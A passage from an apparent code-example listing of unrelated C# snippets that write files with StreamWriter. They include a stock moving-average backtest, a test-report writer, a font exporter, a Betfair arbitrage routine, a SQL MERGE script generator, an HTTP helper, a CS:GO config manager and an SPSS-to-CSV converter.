                        if (optPctRtrn[optDay] > 0 && close.Count > 0) // ignore returns that are zero
                        {
                            pctRtrn = 0;
                            buyTmp  = 0;
                            bought  = false;
                            sold    = false;

                            #region Calculate buy / sell signal
                            // Calculate buy sell signal using optimization values
                            //int shortDay = 10;
                            //int longDay = 20;
                            //int bullBearDay = 200;

                            double smaTmp = close[0];
                            double lmaTmp = close[0];
                            //double bbTmp = close[0];

                            // Calculate the short day moving average
                            // reset dictionaries at beginning of each loop
                            shortSMA.Clear();
                            int shortDay = Convert.ToInt32(optShortDay[optDay]);
                            int longDay  = Convert.ToInt32(optLongDay[optDay]);
                            int ld;
                            for (int sd = 0; sd < close.Count; sd++)
                            {
                                if (sd + 1 > shortDay)
                                {
                                    smaTmp = 0;
                                    for (int j = 0; j < shortDay; j++)
                                    {
                                        smaTmp = smaTmp + close[sd - shortDay + j];
                                    }
                                    smaTmp = smaTmp / shortDay;
                                    shortSMA.Add(shortSMA.Count, smaTmp);
                                }
                                //}
                                // Calculate the long day moving average
                                // reset dictionaries at beginning of each loop
                                longSMA.Clear();

                                //for (ld = 0; ld < close.Count; ld++)
                                //{
                                ld = sd;
                                if (ld + 1 > longDay)
                                {
                                    lmaTmp = 0;
                                    for (int j = 0; j < longDay; j++)
                                    {
                                        lmaTmp = lmaTmp + close[ld - longDay + j];
                                    }
                                    lmaTmp = lmaTmp / longDay;
                                    longSMA.Add(longSMA.Count, lmaTmp);
                                }

                                int bs = ld;
                                if (bs < close.Count - 1)
                                {
                                    if (lmaTmp - smaTmp < 0 && (!bought)) // buy or hold long day is less than short day
                                    {
                                        bought = true;
                                        sold   = false;
                                        buyTmp = close[bs + 1];                // add a buy date 1 day late to account for risk
                                    }
                                    else if (lmaTmp - smaTmp >= 0 && (bought)) // sell or wait long day is more than short day
                                    {
                                        bought = false;
                                        sold   = true;
                                        // determine the cumulative percent return
                                        // Add a risk threshold for to sell 1 day late
                                        pctRtrn = pctRtrn + (close[bs + 1] / buyTmp);
                                    }
                                }
                            }
                            #endregion Calculate buy / sell signal

                            #region write sma/lma and pct to file for each symbol
                            StreamWriter objWriter;
                            string       write_file_name = "\\" + NYSEsymbol[iNYSE] + "_VerifyOptimize_Out1.csv";
                            write_file_name = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + write_file_name;
                            objWriter       = new System.IO.StreamWriter(write_file_name);
                            optiOutData     = optiOutData + NYSEsymbol[iNYSE] + "," + shortDay.ToString() + "," + longDay.ToString() + "," + pctRtrn.ToString() + "\r\n";
                            objWriter.Write(optiOutData);
                            objWriter.Close();
                            #endregion write sma/lma and pct to file for each symbol
                        }

                        #endregion Optimization
                    }
                }
                excSkip = false;
            }
        }
        public static void outputFileBasedTestReport()
        {
            //output test run summary file
            if (ReportingConfiguration.FileReportingEnabled)
            {
                using (System.IO.StreamWriter file = new System.IO.StreamWriter(GlobalContext.TraceDirectory + @"\TestRunLog.txt"))
                {
                    //writes overall stats first
                    file.WriteLine("****************************************************************");
                    file.WriteLine("Overall Stats from test Run: Total=" + (GlobalContext.CountTestRunPassed + GlobalContext.CountTestRunFailed).ToString() + "  Passed=" + GlobalContext.CountTestRunPassed.ToString() + "  Failed: " + GlobalContext.CountTestRunFailed.ToString());
                    file.WriteLine("****************************************************************");

                    //Add information about the test run
                    file.WriteLine("TestRunDateTime : " + DateTime.UtcNow.ToLocalTime().ToString());
                    file.WriteLine("consumerASID : " + AppSettingsHelper.ConsumerASID);
                    file.WriteLine("providerASID : " + AppSettingsHelper.ProviderASID);

                    file.WriteLine("gpConnectSpecVersion : " + AppSettingsHelper.GPConnectSpecVersion);

                    file.WriteLine("UseTLSFoundationsAndAppmts Flag : " + AppSettingsHelper.UseTLSFoundationsAndAppmts.ToString());
                    file.WriteLine("jwtAudValueFoundationsAndAppmts : " + AppSettingsHelper.JwtAudValueFoundationsAndAppmts);
                    file.WriteLine("serverURL - FoundationsAndAppmts : " + AppSettingsHelper.ServerUrlFoundationsAndAppmts);
                    file.WriteLine("serverPort - FoundationsAndAppmts - HTTP : " + AppSettingsHelper.ServerHttpPortFoundationsAndAppmts);
                    file.WriteLine("serverPort - FoundationsAndAppmts - HTTPS : " + AppSettingsHelper.ServerHttpsPortFoundationsAndAppmts);
                    file.WriteLine("serverBase - FoundationsAndAppmts : " + AppSettingsHelper.ServerBaseFoundationsAndAppmts);

                    file.WriteLine("UseTLSStructured Flag : " + AppSettingsHelper.UseTLSStructured.ToString());
                    file.WriteLine("jwtAudValueStructured : " + AppSettingsHelper.JwtAudValueStructured);
                    file.WriteLine("serverURL - Structured : " + AppSettingsHelper.ServerUrlStructured);
                    file.WriteLine("serverPort - Structured - HTTP : " + AppSettingsHelper.ServerHttpPortStructured);
                    file.WriteLine("serverPort - Structured HTTPS : " + AppSettingsHelper.ServerHttpsPortStructured);
                    file.WriteLine("serverBase - Structured : " + AppSettingsHelper.ServerBaseStructured);


                    file.WriteLine("useSpineProxy Flag : " + AppSettingsHelper.UseSpineProxy.ToString());
                    file.WriteLine("spineProxyUrl : " + AppSettingsHelper.SpineProxyUrl.ToString());
                    file.WriteLine("spineProxyPort : " + AppSettingsHelper.SpineProxyPort.ToString());
                    file.WriteLine("****************************************************************");
                    file.WriteLine("Individual Test Results Below");
                    file.WriteLine("****************************************************************");

                    if (ReportingConfiguration.FileReportingSortFailFirst)
                    {
                        GlobalContext.FileBasedReportList = GlobalContext.FileBasedReportList.OrderBy(i => i.TestResult).ToList();
                    }
                    else
                    {
                        GlobalContext.FileBasedReportList = GlobalContext.FileBasedReportList.OrderBy(i => i.TestRunDateTime).ToList();
                    }

                    bool lastEntryFailed = false;

                    foreach (GlobalContext.FileBasedReportEntry entry in GlobalContext.FileBasedReportList)
                    {
                        //Output test results with or without error message
                        if (ReportingConfiguration.FileReportingOutputFailureMessage)
                        {
                            //If have error message for test then output
                            if (!string.IsNullOrEmpty(entry.FailureMessage))
                            {
                                //Write Test Result
                                if (!lastEntryFailed)
                                {
                                    file.Write("----------------------------------------------------------------\n");
                                }

                                file.Write(entry.TestRunDateTime.ToLocalTime() + "," + entry.Testname + "," + entry.TestResult + "\n");

                                file.Write(entry.FailureMessage + "\n");
                                file.Write("----------------------------------------------------------------\n");

                                lastEntryFailed = true;
                            }
                            //No failure so dont output a lines around pass entry
                            else
                            {
                                file.Write(entry.TestRunDateTime.ToLocalTime() + "," + entry.Testname + "," + entry.TestResult + "\n");
                                lastEntryFailed = false;
                            }
                        }
                        //output without error message
                        else
                        {
                            file.Write(entry.TestRunDateTime.ToLocalTime() + "," + entry.Testname + "," + entry.TestResult + "\n");
                        }
                    }
                }
            }
        }
Exemple #33
0
        /// <summary>
        /// Export Font Data
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void buttonSave_Click(object sender, EventArgs e)
        {
            // check output settings
            COLOR_MODE colorMode = radioButton8.Checked ? COLOR_MODE.MONO :
                                   radioButton9.Checked ? COLOR_MODE.GRAY4BITS :
                                   radioButton10.Checked ? COLOR_MODE.RGB565 :
                                   radioButton11.Checked ? COLOR_MODE.RGB565P :
                                   COLOR_MODE.UNKONOWN;

            if (colorMode == COLOR_MODE.UNKONOWN)
            {
                Misc.MsgInf(Properties.Resources.Inf_colorMode_required);
                return;
            }
            SCAN_MODE scanMode = radioButtonRow1.Checked ? SCAN_MODE.ROW_SCAN :
                                 radioButtonColumn1.Checked ? SCAN_MODE.COLUMN_SCAN :
                                 SCAN_MODE.UNKOWN;

            if (scanMode == SCAN_MODE.UNKOWN)
            {
                Misc.MsgInf(Properties.Resources.Inf_scanMode_required);
                return;
            }
            string arrayName = textBoxArrayName.Text;

            if (arrayName.Length == 0)
            {
                Misc.MsgInf(Properties.Resources.Inf_arrayName_required);
                return;
            }

            // if content never showed, check input parameters, and show it
            if (fontSettings == null)
            {
                this.toolStripButtonView_Click(null, null);
                if (fontSettings == null)
                {
                    return;
                }
            }

            // user canceled
            if (this.saveFileDialog1.ShowDialog() != System.Windows.Forms.DialogResult.OK)
            {
                return;
            }

            // get stream for write font data
            List <byte> bytes;
            int         iNewLinePosition = Properties.Settings.Default.NewLinePositionOfExport;
            int         pos = 1;

            using (Stream ss = this.saveFileDialog1.OpenFile())
            {
                using (StreamWriter sw = new System.IO.StreamWriter(ss))
                {
                    sw.WriteLine(string.Format(@"const unsigned char {0} = {{", arrayName));
                    using (Bitmap bmp = new Bitmap(fontSettings.BlockWidth, fontSettings.BlockHeight))
                    {
                        using (Graphics g = Graphics.FromImage(bmp))
                        {
                            // output chars data one by one
                            foreach (char c in fontSettings.Chars)
                            {
                                FontDrawExtend.DrawChar(g, fontSettings, c);
                                bytes = FontDrawExtend.getCharFontData(bmp, colorMode, scanMode);
                                foreach (byte b in bytes)
                                {
                                    sw.Write("0x{0:X2},", b);
                                    if (iNewLinePosition > 0 && pos == iNewLinePosition)
                                    {
                                        sw.Write(Environment.NewLine);
                                        pos = 0;
                                    }
                                    pos++;
                                }
                            }
                        }
                    }
                    sw.WriteLine("}");
                }
            }

            // ask for open export file
            if (MessageBox.Show(Properties.Resources.Inf_openFileConfirm,
                                Properties.Resources.Caption_exportMsg,
                                MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes)
            {
                Process.Start(this.saveFileDialog1.FileName);
            }
        }
Exemple #34
0
        static void FindForks(List <Bet> bets, string matchID)
        {
            if (!forks.ContainsKey(matches[matchID].score))
            {
                return;
            }
            int           cnt = 0;
            List <string> ls  = forks[matches[matchID].score];

            foreach (string s in ls)
            {
                HashSet <string> st  = new HashSet <string>();
                string[]         arr = s.Split('|');
                foreach (string tmp in arr)
                {
                    st.Add(tmp);
                }
                double     sum = 0, mx = 1.0;
                List <Bet> listOfBets = new List <Bet>();
                foreach (Bet bet in bets)
                {
                    if (st.Contains(bet.name))
                    {
                        sum += 1.0 / bet.coef;
                        mx   = Math.Max(mx, bet.coef);
                        st.Remove(bet.name);
                        listOfBets.Add(bet);
                    }
                }
                double profit = 1.0 - sum;
                double minBet = 2.0 / ((1.0 / mx) / sum);
                if (st.Count == 0)
                {
                    cnt++;
                }
                if (profit >= 0.005 && profit <= 0.1 && st.Count == 0)
                {
                    double mxBet = 0;
                    for (int i = 0; i < listOfBets.Count(); i++)
                    {
                        bool   ch = false;
                        double ss = listOfBets[i].size / ((1.0 / mx) / sum);
                        for (int j = 0; j < listOfBets.Count(); j++)
                        {
                            double need = ((1.0 / listOfBets[j].coef) / sum) * ss;
                            if (need > listOfBets[j].size + 0.1 || need < 2)
                            {
                                ch = true;
                            }
                        }
                        if (!ch)
                        {
                            mxBet = Math.Max(mxBet, ss);
                        }
                    }
                    if (mxBet < minBet)
                    {
                        continue;
                    }
                    Console.WriteLine("balance: " + balance);
                    if (balance < minBet - 0.1)
                    {
                        return;
                    }
                    string a = "[";
                    for (int j = 0; j < listOfBets.Count(); j++)
                    {
                        double need = ((1.0 / listOfBets[j].coef) / sum) * minBet;
                        a += GetJsonBet(listOfBets[j].marketID, listOfBets[j].selectionID, Math.Round(need, 2).ToString(),
                                        GetOdds(Math.Max(1.01, listOfBets[j].coef * 0.9)).ToString());
                        if (j != listOfBets.Count - 1)
                        {
                            a += ",";
                        }
                    }
                    a += "]";
                    string response = JsonRequestBetfair(a, true);
                    if (response.ToLower().Contains("failure"))
                    {
                        sendMessage("Something get wrong!!!");
                    }
                    else
                    {
                        sendMessage("Bet is successful\nprofit: " + Math.Round(profit * 100, 2) + "%\namount: " + Math.Round(minBet, 2) + " EUR");
                        balance -= (minBet + 0.1);
                    }
                    res += a + "\n" + response + "\n";
                    using (System.IO.StreamWriter sw =
                               File.AppendText(@"C:\Users\Entin\Documents\Programs\live\live\bin\Debug\netcoreapp3.1\vilki.txt"))
                    {
                        sw.Write(res);
                    }
                    Environment.Exit(0);
                }

                /*res += "{\n";
                 * res += " \"date\": " + "\"" + DateTime.Now.ToLongTimeString() +"\",\n";
                 * res += " \"name\": " + "\"" + matches[matchID].name + "\",\n";
                 * res += " \"score\": " + "\"" + matches[matchID].score + "\",\n";
                 * res += " \"minute\": " + "\"" + matches[matchID].currentMinute + "\",\n";
                 * res += " \"profit\": " + "\"" + Math.Round(profit * 100, 2) + "\",\n";
                 * res += " \"minBet\": " + "\"" + Math.Round(minBet, 2) + "\",\n";
                 * res += " \"mxBet\": " + "\"" + Math.Round(mxBet, 2) + "\",\n";
                 * res += " \"type\": " + "\"" + s + "\"\n";
                 * res += "},\n";*/
                //sendMessage(s + "\n" + "profit: " + Math.Round(profit * 100, 2) + "%");
            }

            Console.WriteLine("number of vilkas: " + cnt + " " + res.Length);
        }
        private void ScriptTableMerge(ScriptObject so, DataTable colInfoTable, DataTable mainTable, System.IO.StreamWriter w, string colList, string scolList, string PKcolListOn, string colCastList)
        {
            string tmpTableName = so.TempCounterpart;
            bool   useIdentity  = hasIdentity(colInfoTable);

            w.WriteLine(String.Format("IF OBJECT_ID('tempdb.dbo.{0}') IS NOT NULL DROP TABLE {0};", tmpTableName));
            w.WriteLine(String.Format("SELECT {2} INTO {1} FROM {0} WHERE 0=1;", so.FullQuoted, tmpTableName, colList));
            w.WriteLine(_BatchSeparator);

            if (useIdentity)
            {
                w.WriteLine(String.Format("SET IDENTITY_INSERT {0} ON;", tmpTableName));
                w.WriteLine(_BatchSeparator);
            }

            string rowsep   = "\t  ";
            int    rowIndex = 0;

            foreach (DataRow row in mainTable.Rows)
            {
                //Begin Insert to temp
                if (rowIndex % MaxRowsPerBatch == 0)
                {
                    w.WriteLine(String.Format("INSERT INTO {0} ", tmpTableName));
                    w.WriteLine(String.Format(" ({0})", colList));
                    w.WriteLine(String.Format("SELECT {0} FROM ", colCastList));
                    w.WriteLine("(VALUES");
                    rowsep = "\t  ";
                }

                //VALUES
                w.Write(rowsep);
                rowsep = "\t, ";
                w.WriteLine(SerializeRowValues(row, colInfoTable, "(", ")"));
                rowIndex++;

                //End Insert to Temp
                if (rowIndex % MaxRowsPerBatch == 0 || rowIndex == mainTable.Rows.Count)
                {
                    w.WriteLine(String.Format(") as v ({0});", colList));
                    w.WriteLine(_BatchSeparator);
                    w.WriteLine("");
                }
            }

            //Identity
            if (useIdentity)
            {
                w.WriteLine(String.Format("SET IDENTITY_INSERT {0} OFF;", tmpTableName));
                w.WriteLine(_BatchSeparator);
                w.WriteLine(String.Format("SET IDENTITY_INSERT {0} ON;", so.FullQuoted));
                w.WriteLine(_BatchSeparator);
            }

            //Begin Merge
            w.WriteLine("");
            w.WriteLine(String.Format("WITH cte_data as (SELECT {1} FROM [{0}])", tmpTableName, colCastList));
            w.WriteLine(String.Format("MERGE {0} as t", so.FullQuoted));
            w.WriteLine("USING cte_data as s");
            w.WriteLine(String.Format("\tON {0}", PKcolListOn.Replace(",", " AND")));
            w.WriteLine("WHEN NOT MATCHED BY target THEN");
            w.WriteLine(String.Format("\tINSERT ({0})", colList));
            w.WriteLine(String.Format("\tVALUES ({0})", scolList));

            //Merge: WHEN MATCHED
            if (so.Method != "MERGE_NEW_ONLY")
            {
                string UpdateColList = GetColList(colInfoTable, "constraint_type IS NULL", "{0} = s.{0}");
                w.WriteLine("WHEN MATCHED THEN ");
                w.WriteLine("\tUPDATE SET ");
                w.WriteLine(String.Format("\t{0}", UpdateColList));
            }

            //Merge: WHEN NOT MATCHED
            if (so.Method == "MERGE")
            {
                w.WriteLine("WHEN NOT MATCHED BY source THEN");
                w.WriteLine("\tDELETE");
            }

            w.WriteLine(";");
            w.WriteLine(_BatchSeparator);

            //End
            if (useIdentity)
            {
                w.WriteLine(String.Format("SET IDENTITY_INSERT {0} OFF;", so.FullQuoted));
                w.WriteLine(_BatchSeparator);
            }
            w.WriteLine(String.Format("DROP TABLE {0};", tmpTableName));
            w.WriteLine(_BatchSeparator);
        }
 protected static void Save(string fullPath, string data)
 {
     System.IO.StreamWriter writer = new System.IO.StreamWriter(fullPath, false);
     writer.Write(data);
     writer.Close();
 }
Exemple #37
0
        public static string ExecuteRequest(string address, string Data = "", string Method = "GET")
        {
            string ResponseFromServer = "";

            try
            {
                ServicePointManager.Expect100Continue = true;
                //ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
                ServicePointManager.SecurityProtocol = (SecurityProtocolType)192 |
                                                       (SecurityProtocolType)768 | (SecurityProtocolType)3072;

                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(address);
                request.Method = Method;

                request.Timeout          = 10 * 1000;
                request.ReadWriteTimeout = 10 * 1000;

                //request.Accept = "application/json";
                //request.ContentType = "application/json";
                request.ContentLength = Data.Length;

                if (Method != "GET")
                {
                    using (System.IO.Stream s = request.GetRequestStream())
                    {
                        using (System.IO.StreamWriter sw = new System.IO.StreamWriter(s))
                        {
                            sw.Write(Data);
                            sw.Flush();
                        }
                    }
                }

                using (System.IO.Stream s = request.GetResponse().GetResponseStream())
                {
                    using (System.IO.StreamReader sr = new System.IO.StreamReader(s))
                    {
                        ResponseFromServer = sr.ReadToEnd();
                    }
                }


                return(ResponseFromServer);
            }
            catch (WebException wex)
            {
                if (wex.Response != null)
                {
                    using (var errorResponse = (HttpWebResponse)wex.Response)
                    {
                        using (var reader = new StreamReader(errorResponse.GetResponseStream()))
                        {
                            ResponseFromServer = reader.ReadToEnd();
                        }
                    }
                }
                else
                {
                    ResponseFromServer = wex.Message;
                }
                return(ResponseFromServer);
            }
            catch (Exception ex)
            {
                return(ex.Message);
            }
        }
Exemple #38
0
        static void profile(string[] command)
        {
            switch (command[1])
            {
            /*Profil listázó parancs*/
            case "list":
            {
                /*Get all directory that contains default.ini and add it to "existing_profiles" list*/
                string[]      profiles          = Directory.GetDirectories("\\profiles\\");
                List <string> existing_profiles = new List <string>();
                foreach (string profile in profiles)
                {
                    if (File.Exists("\\profiles\\" + profile + "\\" + default_ini))
                    {
                        existing_profiles.Add(profile);
                    }
                }

                /*Cout all existing profiles*/
                Console.WriteLine("Existing profiles:");
                foreach (string existing_profile in existing_profiles)
                {
                    Console.WriteLine("\t" + existing_profile);
                }
                Console.WriteLine("\n");

                break;
            }

            /*Profil készítő parancs*/
            case "create":
            {
                bool   create_it   = false;
                string profilename = command[2];
                if (Directory.Exists(@"\profiles\" + profilename + @"\"))                                           //if theres a profile folder
                {
                    if (File.Exists(@"\profiles\" + profilename + @"\" + default_ini))                              //and it contains the default.ini file
                    {
                        Console.WriteLine("this profile already exist.");                                           //then the profile (probably) exists
                    }
                    else
                    {
                        create_it = true;
                    }
                }
                else
                {
                    try
                    {
                        Directory.CreateDirectory(@"\profiles\" + profilename + @"\");
                    }
                    catch (Exception e)
                    {
                        Console.WriteLine(e);
                        break;
                    }
                    create_it = true;                                                //amúgy igen
                }

                if (create_it)                                          /*Initiate profile to deafult*/
                {
                    File.Create(@"\profiles\" + profilename + @"\" + default_ini);
                    using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"\profiles\" + profilename + @"\" + default_ini))
                    {
                        file.WriteLine(profilename);
                    }

                    File.Copy(csgo_path + @"\" + config_cfg, @"\profiles\" + profilename);
                    using (System.IO.StreamWriter file = File.AppendText(@"\profiles\" + profilename + @"\" + config_cfg))
                    {
                        file.WriteLine("exec \"init\"");
                    }

                    File.Create(@"\profiles\" + profilename + @"\" + init_cfg);
                    using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"\profiles\" + profilename + @"\" + init_cfg))
                    {
                        file.WriteLine("//generated by " + app_name + " v. " + app_version);
                        file.WriteLine("//Note: don't use double enters in the config file otherwise it won't work");
                        file.WriteLine("//ALIASES");
                        file.WriteLine("alias wc \"host_writeconfig config\"");
                        file.WriteLine("alias killchat \"toggle tv_nochat\"");
                        file.WriteLine("alias test \"mp_roundtime 60; mp_roundtime_defuse 60; mp_roundtime_hostage 60; mp_warmuptime 999999999999; mp_restartgame 1; sv_cheats 1; sv_grenade_trajectory 1; sv_infinite_ammo 2\"");
                        file.WriteLine("alias surf \"sv_accelerate 10; sv_airaccelerate 800; cl_showpos 1\"");
                        file.WriteLine("alias afk \"normalsound; +back; +left\"");
                        file.WriteLine("alias re \"normalsound; -back; -left\"");
                        file.WriteLine("alias viewmodel \"exec editviewmodel\"");
                        file.WriteLine("alias +dev \"developer 1\"");
                        file.WriteLine("alias -dev \"developer 0\"");
                        file.WriteLine("alias wc \"host_writeconfig config\"");
                        file.WriteLine("alias ae \"exec init\"");
                        file.WriteLine("alias sa \"wc; ae;\"");
                        file.WriteLine("alias dc \"disconnect\"");

                        file.WriteLine("//MUSIC");
                        file.WriteLine("alias flamenco \"play \\ambient\\flamenco.wav\"");
                        file.WriteLine("alias opera \"play \\ambient\\opera.wav\"");
                        file.WriteLine("alias melody \"play \\ambient\\de_train_radio.wav\"");
                        file.Write("alias techno \"play \\ambient\\misc\\techno_overpass.wav\"");
                    }

                    File.Create(@"\profiles\" + profilename + @"\" + db_ini);
                    //List<string> db_keys = new List<string>();
                    using (System.IO.StreamReader file = new System.IO.StreamReader(@"\profiles\" + profilename + @"\" + config_cfg))
                    {
                        string line;
                        line = file.ReadLine();
                        if (line.Contains("bind"))
                        {
                            string[] splitted = line.Split(' ');
                            db_keys.Add(splitted[1], splitted[2]);
                        }
                    }

                    using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"\profiles\" + profilename + @"\" + db_ini))
                    {
                        foreach (KeyValuePair <string, string> db_key in db_keys)
                        {
                            file.WriteLine(db_key.Key + " " + db_key.Value);
                        }
                    }
                    Console.WriteLine("profile has been created.");
                }
                break;
            }

            case "load":
            {
                string profilename = command[2];
                if (Directory.Exists(@"\profiles\" + profilename + @"\"))                                           //if profile exists
                {
                    if (File.Exists(@"\profiles\" + profilename + @"\" + default_ini))                              //and contains default.ini
                    {
                        profile_path    = @"\profiles\" + profilename + @"\" + default_ini;
                        current_profile = profilename;
                    }
                    else
                    {
                        Console.WriteLine("Error: couldn't load profile. profile folder doesn't exists.");
                    }
                }
                else
                {
                    Console.WriteLine("Error: couldn't load profile. default.ini doesn't exists.");
                }


                break;
            }

            case "save":
            {
                checkIf_backupFolder();

                //Now Create all of the directories
                foreach (string dirPath in Directory.GetDirectories(@"\profiles\" + current_profile + @"\", "*", SearchOption.AllDirectories))
                {
                    Directory.CreateDirectory(dirPath.Replace(@"\profiles\" + current_profile + @"\", csgo_path));
                }

                //Copy all the files & Replaces any files with the same name
                foreach (string newPath in Directory.GetFiles(@"\profiles\" + current_profile + @"\", "*.*", SearchOption.AllDirectories))
                {
                    File.Copy(newPath, newPath.Replace(@"\profiles\" + current_profile + @"\", csgo_path), true);
                }

                // if (command[2] == "all")


                Console.WriteLine("All cfgs have been saved to: \"" + csgo_path + "\"");

                break;
            }

            case "delete":
            {
                string profilename = command[2];
                string read;
                Console.WriteLine("are you sure, you want to delete this profile? (\"" + profilename + "\") (y/n) \nNote: all saved cfg-s that belongs to this profile (folder) will be permanently deleted.");
                read = Console.ReadLine();

                if (read == "y")
                {
                    checkIf_backupFolder();
                    copyFilesAndFolders(@"\profiles\" + profilename + @"\", @"\" + _backup + @"\");

                    //and lets delete
                    Directory.Delete(@"\profiles\" + profilename + @"\", true);
                }
                else
                {
                    Console.WriteLine("operation canceled.");
                }
                break;
            }

            default:
            {
                Console.WriteLine("you have entered a wrong command. please try again.");
                break;
            }
            }
        }
Exemple #39
0
        public void ReadSpss(string filename, char separator)
        {
            // Open file, can be read only and sequetial (for performance), or anything else
            using (FileStream fileStream = new FileStream(filename, FileMode.Open, FileAccess.Read, FileShare.Read, 2048 * 10,
                                                          FileOptions.SequentialScan))
            {
                // Create the reader, this will read the file header
                SpssReader spssDataset = new SpssReader(fileStream);


                SaveFileDialog dlg = new SaveFileDialog
                {
                    FileName   = filename.Replace(".sav", string.Empty),
                    DefaultExt = ".csv",
                    Filter     = "csv documents (.csv)|*.csv"
                };

                dlg.ShowDialog();

                if (dlg.FileName != "")
                {
                    using (System.IO.StreamWriter file = new System.IO.StreamWriter(dlg.FileName))
                    {
                        bool first = true;
                        foreach (var variable in spssDataset.Variables)
                        {
                            if (first)
                            {
                                file.Write("{0}", variable.Name);
                                first = false;
                            }
                            else
                            {
                                file.Write("{0}{1}", separator, variable.Name);
                            }
                        }
                        file.WriteLine(string.Empty);

                        // Iterate through all data rows in the file
                        foreach (var record in spssDataset.Records)
                        {
                            first = true;
                            foreach (var variable in spssDataset.Variables)
                            {
                                if (first)
                                {
                                    file.Write(record.GetValue(variable));
                                    first = false;
                                }
                                else
                                {
                                    file.Write(string.Format("{0}{1}", separator, record.GetValue(variable)));
                                }
                            }
                            file.WriteLine(string.Empty);
                        }
                    }
                }
                else
                {
                    return;
                }

                if (GenearaMetadatos.IsChecked == true)
                {
                    SaveFileDialog dlg2 = new SaveFileDialog
                    {
                        DefaultExt = ".txt",
                        Filter     = "text documents (.txt)|*.txt",
                        FileName   = dlg.FileName.Replace(".csv", "_metadata.txt")
                    };

                    dlg2.ShowDialog();

                    if (dlg2.FileName != "")
                    {
                        using (System.IO.StreamWriter file = new System.IO.StreamWriter(dlg2.FileName))
                        {
                            // Iterate through all the varaibles
                            foreach (var variable in spssDataset.Variables)
                            {
                                // Display name and label
                                file.WriteLine("{0} - {1}", variable.Name, variable.Label);
                                // Display value-labels collection
                                foreach (KeyValuePair <double, string> label in variable.ValueLabels)
                                {
                                    file.WriteLine("{0} - {1}", label.Key, label.Value);
                                }
                                file.WriteLine(string.Empty);
                                file.WriteLine(string.Empty);
                            }
                        }
                    }
                }

                MessageBox.Show("Finalizado exitosamente", "Finalizado exitosamente", MessageBoxButton.OK, MessageBoxImage.Information);
            }
        }
Exemple #40
0
        void computeCostGradDiagHess(string eval_name)
        {
            uint flag = 0;

            flag |= ((uint)(Convert.ToUInt16(eval_name.Contains("Cost"))) << 0);
            flag |= ((uint)(Convert.ToUInt16(eval_name.Contains("Grad"))) << 1);
            flag |= ((uint)(Convert.ToUInt16(eval_name.Contains("DiagHess"))) << 3);

            // variable instantiations
            int nparams = 3;
            int nvars   = T * XDIM + (T - 1) * UDIM + QDIM + RDIM + (XDIM * XDIM) + nparams;

            Variable[] vars = new Variable[nvars];
            for (int i = 0; i < nvars; ++i)
            {
                vars[i] = new Variable("vars_" + i);
            }

            int idx = initVars(vars);

            Function alpha_belief       = vars[idx++];
            Function alpha_control      = vars[idx++];
            Function alpha_final_belief = vars[idx++];

            Function[] XU = VM.concatenate <Function>(VM.jaggedToLinear <Function>(X), VM.jaggedToLinear <Function>(U));

            Function cost = costfunc(X, U, q, r, Sigma_0, alpha_belief, alpha_control, alpha_final_belief);

            List <Function> costJacDiagHessFuncList = new List <Function>();

            if ((flag & COMPUTE_COST) != 0)
            {
                costJacDiagHessFuncList.Add(cost);
            }

            if ((flag & COMPUTE_JACOBIAN) != 0)
            {
                for (int i = 0; i < XU.Length; ++i)
                {
                    costJacDiagHessFuncList.Add(Function.D(cost, XU[i]));
                }
            }

            if ((flag & COMPUTE_DIAGONAL_HESSIAN) != 0)
            {
                for (int i = 0; i < XU.Length; ++i)
                {
                    costJacDiagHessFuncList.Add(Function.D(cost, XU[i], XU[i]));
                }
            }

            Function costJacDiagHess = Function.derivative(costJacDiagHessFuncList.ToArray());

            costJacDiagHess.printOperatorCounts();

            bool[]     inputVarIndices;
            Variable[] costJacDiagHessVars = initializeInputVariables(costJacDiagHess, vars, out inputVarIndices);
            costJacDiagHess.orderVariablesInDomain(costJacDiagHessVars);

            costJacDiagHess.compileCCodeToFile("state-symeval-" + T + ".c");

            string fileName = "state-masks-" + T + ".txt";

            Console.WriteLine("Writing " + fileName);
            System.IO.StreamWriter fh = new System.IO.StreamWriter(fileName);
            for (int i = 0; i < nvars; ++i)
            {
                if (inputVarIndices[i])
                {
                    fh.Write("1 ");
                }
                else
                {
                    fh.Write("0 ");
                }
            }
            fh.WriteLine();
            fh.Close();
        }
Exemple #41
0
        static void Main(string[] args)
        {
            int          i = 0, j = 0, n = 0, g = 0, FiveCounter = 0;
            int          x = 15;
            int          size = 0, bestsize = 0, bestcode = -1;
            bool         Good = true;
            string       line, owo = "";
            StreamReader sr = new System.IO.StreamReader("input.txt");
            StreamWriter sw = new System.IO.StreamWriter("output.txt");

            line = sr.ReadLine();
            while (j != line.Length)
            {
                owo = owo + line[j];
                j++;
            }
            n   = Convert.ToInt32(owo);
            owo = "";
            bool[,] CanGroup = new bool[n, n];
            int[,] Matrix    = new int[n, n];
            while ((line = sr.ReadLine()) != null)
            {
                g = 0;
                for (j = 0; j < line.Length; j++)
                {
                    if (line[j] != Convert.ToChar(" "))
                    {
                        Matrix[i, g] = Convert.ToInt32(Convert.ToString(line[j]));
                        g++;
                    }
                }
                i++;
            }



            bestcode = -1;
            bestsize = 0;

            bool check = true;


            for (i = 0; i < n; i++)
            {
                for (j = 0; j < n; j++)
                {
                    if (Matrix[i, j] == 0)
                    {
                        CanGroup[i, j] = false;
                    }
                    else
                    {
                        CanGroup[i, j] = true;
                    }
                }
            }


            for (int GroupCode = 1; GroupCode < (1 << n); GroupCode++)
            {
                size = 0;
                for (i = 0; i < n; i++)
                {
                    if (((GroupCode >> i) & 1) != 0)
                    {
                        size++;
                    }
                }
                if (size > 5)
                {
                    continue;
                }
                if (bestsize >= size)
                {
                    continue;
                }

                bool good = true;
                for (i = 0; i < n && good; i++)
                {
                    for (j = 0; j < n && good; j++)
                    {
                        if ((((GroupCode >> i) & 1) != 0) && (((GroupCode >> j) & 1) != 0) && (!CanGroup[i, j]))
                        {
                            good = false;
                        }
                    }
                }
                if (good)
                {
                    bestcode = GroupCode;
                    bestsize = size;
                }
            }

            int color = 2;

            sw.WriteLine(n - bestsize + 1);
            for (i = 0; i < n; i++)
            {
                if (i > 0)
                {
                    sw.Write(" ");
                }
                if ((((bestcode >> i) & 1) != 0))
                {
                    sw.Write("1");
                }
                else
                {
